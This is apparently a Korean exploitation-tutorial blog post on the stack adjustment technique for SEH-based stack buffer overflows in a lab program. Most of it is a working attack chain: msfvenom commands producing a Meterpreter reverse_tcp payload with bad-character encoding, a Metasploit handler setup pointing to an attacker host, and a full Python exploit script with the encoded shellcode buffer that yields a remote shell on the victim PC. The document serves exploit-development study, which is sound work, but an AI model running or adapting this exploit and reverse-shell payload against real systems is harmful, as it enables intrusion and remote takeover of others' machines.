Stack Adjustment

SEH Overwrite 실습 때 사용한 최종 공격 코드의 쉘코드는 취약점을 증명하기 위한 증명 코드이다. 증명 코드는 쉘을 획득할 필요 없이 단순히 메시지 박스, 계산기 등의 로컬에서 실행 가능한 쉘코드이다.


실습 때 사용한 쉘코드는 수동으로 제작한 범용 쉘코이지만 실질적으로 공격을 수행하려면 쉘을 획득하는 쉘코드를 사용해야 한다.


메타스플로잇 프레임워크내의 msfvenom 도구가 자동으로 쉘코드를 생성해준다. msfvenom으로 생성한 쉘코드는 자동으로 생성해주는 대신 쉘코드의 크기가 커서 버퍼의 크기가 작은 공간에 사용할 수 없다.

 

이는 에그 헌팅(Egg Hunting) 기법을 사용하면 버퍼의 크기가 작더라도 큰 쉘코드를 주입시킬 수 있다. 또한, 동적으로 여러가지 모듈을 로드하고, 함수를 검색하므로 스택을 많이 사용한다.


스택의 끝을 읽거나 쓰는 동작이 발생하여 쉘코드가 제대로 실행되지 않는 문제가 발생한다. 이는 스택 조정(Stack Adjustment) 기법을 사용하여 쉘코드 앞에 SUB ESP, 0x3500 등과 같은 코드를 추가하면 쉘코드가 정상적으로 실행된다.


구분 내용
1 배드 캐릭터 제외 (msfvenom -b 옵션 사용)
2 버퍼의 크기가 작은 공간에 큰 쉘코드를 주입 (에그 헌팅 기법 사용)
3 버퍼의 크기는 충분하지만, 동적으로 여러가지 모듈을 로드하여 스택을 많이 사용 (스택 조정 기법 사용)

SEH Overwrite 실습 때 사용한 reader.exe 파일을 exploit1.txt 지정하여 연다. F9를 눌러 실행해보면 버퍼의 크기가 692 바이트인 것을 알 수 있다.


exploit1.py에서 페이로드의 junk1, nseh, handler의 크기를 제외하면 버퍼에 넣을 수 있는 쉘코드의 크기는 128 바이트(692 - 556 - 4 - 4)이다.


msfvenom으로 생성한 쉘코드는 기본적으로 200 바이트 이상이므로 버퍼의 공간에 넣을 수 없다. 하지만, 에그 헌팅 기법을 사용하면 넣을 수 있지만 에그 헌팅은 추후 다루기로 한다.


버퍼의 데이터


희생자의 쉘을 획득하는 멀티 스테이지 페이로드를 사용하는 경우, 첫 번째 페이로드를 실행할 때 ESP가 메모리에 충분하지 못한 곳을 가리켜 두 번째 페이로드가 훼손된다.


하지만, 스택 조정 기법을 이용해서 쉘코드 앞에 SUB ESP, 0x3500(ESP에서 3500바이트를 뺌) 코드를 추가하면 두 번째 페이로드가 실행된다.


메타스플로잇 프레임워크에 포함되어 있는 nasm_shell.rb는 명령어를 기계어 코드로 바꿔지는 도구이다. SUB ESP, 0xDAC 명령어의 기계어 코드를 확인한다.


○ nasm> sub esp, 0xdac

○ !mona assemble -s "sub esp, 0xdac"

○ printf '%x\n' 3500


버퍼의 데이터


페이로드 종류
Singles 공격자 PC에서 희생자 PC로 익스플로잇과 페이로드를 한 번에 보냄
Stagers 공격자 PC와 희생자 PC를 연결 후 Stages 코드(익스플로잇)를 로드
Stages 실질적인 공격을 수행하는 페이로드

스택 조정을 실행하려면 페이로드를 hex 파일로 만들어야 한다. echo 명령어로 기계어 코드를 로우 포맷 형식으로 stack_adj 파일로 저장한다. 저장된 파일을 보면 정상적으로 저장된 것을 확인할 수 있다.


○ echo -en "\x81\xec\xac\x0d\x00\x00" > stack_adj

-e : 역슬러시 이스케이프 문자 해석

-n : 문자열의 마지막에 개행 문자를 추가하지 않음


○ xxd stack_adj

hex 파일을 역순으로 출력


hex 파일 생성

멀티 스테이지 페이로드(리버스 커넥션 페이로드)를 생성하여 shellcode 파일로 저장한다.


○ msfvenom -p windows/meterpreter/reverse_tcp > shellcode

○ xxd shellcode


쉘코드 생성


스택 조정 파일과 쉘코드 파일을 결합하여 adj_shellcode 파일로 생성한다.


○ cat stack_adj shellcode > adj_shellcode

○ xxd adj_shellcode


쉘코드 결합


결합 된 쉘코드에 배드 캐릭터를 제외하면 최종 공격용 쉘코드가 생성된다.


○ cat adj_shellcode | msfvenom -p - -b "\x00\x0a\x0d\x1a\x20\xff" -a x86 --platform Windows -f python


최종 쉘코드 생성


공격자 PC의 핸들러를 열어주고, 리버스 커넥션 페이로드를 설정 후 익스플로잇 한다.


○ vi resource.rc

○ use multi/handler

○ set payload windows/meterpreter/reverse_tcp

○ set lhost 10.10.0.22

○ wq

○ service postgresql restart; msfdb init; msfconsole -r resource.rc


익스플로잇


생성 된 최종 쉘코드를 공격 코드에 적용 후 실행한다.


# exploit2.txt - by Daze
import struct
 
junk1 = "A" * 504
jmp = struct.pack('<L',0x76B44EBF)
nop = "\x90" * 20
buf =  ""
buf += "\xda\xda\xbe\x1e\x14\x87\xa9\xd9\x74\x24\xf4\x5f\x29"
buf += "\xc9\xb1\x55\x83\xc7\x04\x31\x77\x16\x03\x77\x16\xe2"
buf += "\xeb\x95\x6b\x05\x1e\x96\x73\xaa\xc8\x14\x73\x52\x08"
buf += "\x79\xfd\xb7\x39\xb9\x99\xbc\x69\x09\xe9\x91\x85\xe2"
buf += "\xbf\x01\x1e\x86\x17\x25\x97\x2d\x4e\x08\x28\x1d\xb2"
buf += "\x0b\xaa\x5c\xe7\xeb\x93\xae\xfa\xea\xd4\xd3\xf7\xbf"
buf += "\x8d\x98\xaa\x2f\xba\xd5\x76\xdb\xf0\xf8\xfe\x38\x40"
buf += "\xfa\x2f\xef\xdb\xa5\xef\x11\x08\xde\xb9\x09\x4d\xdb"
buf += "\x70\xa1\xa5\x97\x82\x63\xf4\x58\x28\x4a\x39\xab\x30"
buf += "\x8a\xfd\x54\x47\xe2\xfe\xe9\x50\x31\x7d\x36\xd4\xa2"
buf += "\x25\xbd\x4e\x0f\xd4\x12\x08\xc4\xda\xdf\x5e\x82\xfe"
buf += "\xde\xb3\xb8\xfa\x6b\x32\x6f\x8b\x28\x11\xab\xd0\xeb"
buf += "\x38\xea\xbc\x5a\x44\xec\x1f\x02\xe0\x66\x8d\x57\x99"
buf += "\x24\xd9\x94\x90\xd6\x19\xb3\xa3\xa5\x2b\x1c\x18\x22"
buf += "\x07\xd5\x86\xb5\x68\xcc\x7f\x29\x97\xef\x7f\x63\x53"
buf += "\xbb\x2f\x1b\x72\xc4\xbb\xdb\x7b\x11\x51\xd9\xeb\x90"
buf += "\xac\xe1\xfd\xcc\xb2\xe1\x10\x51\x3a\x07\x42\x39\x6c"
buf += "\x98\x22\xe9\xcc\x48\xca\xe3\xc2\xb7\xea\x0b\x09\xd0"
buf += "\x80\xe3\xe4\x88\x3c\x9d\xac\x43\xdd\x62\x7b\x2e\xdd"
buf += "\xe9\x8e\xce\x93\x19\xfa\xdc\xc3\x7b\x04\x1d\x13\x16"
buf += "\x04\x77\x17\xb0\x53\xef\x15\xe5\x94\xb0\xe6\xc0\xa6"
buf += "\xb7\x18\x95\x9e\xcc\x2e\x03\x9f\xba\x4e\xc3\x1f\x3b"
buf += "\x18\x89\x1f\x53\xfc\xe9\x73\x46\x03\x24\xe0\xdb\x91"
buf += "\xc7\x51\x8f\x32\xa0\x5f\xf6\x74\x6f\x9f\xdd\x07\x68"
buf += "\x5f\xa3\x25\xd1\x08\x5b\x69\xe1\xc8\x31\x69\xb1\xa0"
buf += "\xce\x46\x3e\x01\x2e\x4d\x17\x09\xa5\x03\xd5\xa8\xba"
buf += "\x0e\xbb\x74\xba\xbc\x60\x60\x35\x43\x97\x8d\xb7\x78"
buf += "\x41\xb4\xcd\xb9\x51\x83\xde\xf0\xf4\xa2\x74\xfa\xab"
buf += "\xb5\x5c"
payload = junk1 + jmp + nop + buf
 
f = open("1.txt", "w")
f.write(payload)
f.close()
 
print "[+] text file created successfully"

쉘코드가 정상적으로 실행되어 희생자 PC와 연결된다.


익스플로잇 성공


▶ Tomabo MP4 Player 3.11.6 취약점 분석 (SEH Based Stack Overflow)

▶ SafeSEH 우회 - Stack BOF

▶ SEH Overwrite - Stack BOF

▶ SEH(Structured Exception Handler) - Stack BOF

▶ Stack Cookie(GS Cookie) - Stack BOF

▶ Easy RM to MP3 Converter(Stack Buffer Overflow) 취약점 분석

▶ UAC(User Account Control) 우회 - PowerShell

  • 카카오톡-공유
  • 네이버-블로그-공유
  • 네이버-밴드-공유
  • 페이스북-공유
  • 트위터-공유
  • 카카오스토리-공유